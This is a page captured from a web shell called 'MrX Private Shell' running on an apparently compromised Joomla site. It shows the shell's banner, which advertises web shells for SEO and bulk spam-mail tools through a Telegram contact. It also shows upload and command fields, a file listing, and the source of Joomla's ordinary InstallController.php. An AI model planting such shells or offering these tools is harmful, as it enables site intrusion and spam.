__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Installer\Administrator\Controller;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Response\JsonResponse;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Installer controller for Joomla! installer class.
 *
 * @since  1.5
 */
class InstallController extends BaseController
{
    /**
     * Install an extension.
     *
     * @return  mixed
     *
     * @since   1.5
     */
    public function install()
    {
        // Check for request forgeries.
        $this->checkToken();

        if (!$this->app->getIdentity()->authorise('core.admin')) {
            throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403);
        }

        /** @var \Joomla\Component\Installer\Administrator\Model\InstallModel $model */
        $model = $this->getModel('install');

        // @todo: Reset the users acl here as well to kill off any missing bits.
        $result = $model->install();

        $app          = $this->app;
        $redirect_url = $app->getUserState('com_installer.redirect_url');
        $return       = $this->input->getBase64('return');

        if (!$redirect_url && $return) {
            $redirect_url = base64_decode($return);
        }

        // Don't redirect to an external URL.
        if ($redirect_url && !Uri::isInternal($redirect_url)) {
            $redirect_url = '';
        }

        if (empty($redirect_url)) {
            $redirect_url = Route::_('index.php?option=com_installer&view=install', false);
        } else {
            // Wipe out the user state when we're going to redirect.
            $app->setUserState('com_installer.redirect_url', '');
            $app->setUserState('com_installer.message', '');
            $app->setUserState('com_installer.extension_message', '');
        }

        $this->setRedirect($redirect_url);

        return $result;
    }

    /**
     * Install an extension from drag & drop ajax upload.
     *
     * @return  void
     *
     * @since   3.7.0
     */
    public function ajax_upload()
    {
        // Check for request forgeries.
        Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

        if (!$this->app->getIdentity()->authorise('core.admin')) {
            throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403);
        }

        $message = $this->app->getUserState('com_installer.message');

        // Do install
        $result = $this->install();

        // Get redirect URL
        $redirect = $this->redirect;

        // Push message queue to session because we will redirect page by \Javascript, not $app->redirect().
        // The "application.queue" is only set in redirect() method, so we must manually store it.
        $this->app->getSession()->set('application.queue', $this->app->getMessageQueue());

        header('Content-Type: application/json');

        echo new JsonResponse(['redirect' => $redirect], $message, !$result);

        $this->app->close();
    }
}

Filemanager

Name Type Size Permission Actions
DatabaseController.php File 2.73 KB 0664
DiscoverController.php File 2.58 KB 0664
DisplayController.php File 2.97 KB 0664
InstallController.php File 3.33 KB 0664
ManageController.php File 5.3 KB 0664
UpdateController.php File 5.98 KB 0664
UpdatesiteController.php File 580 B 0664
UpdatesitesController.php File 4.71 KB 0664
Filemanager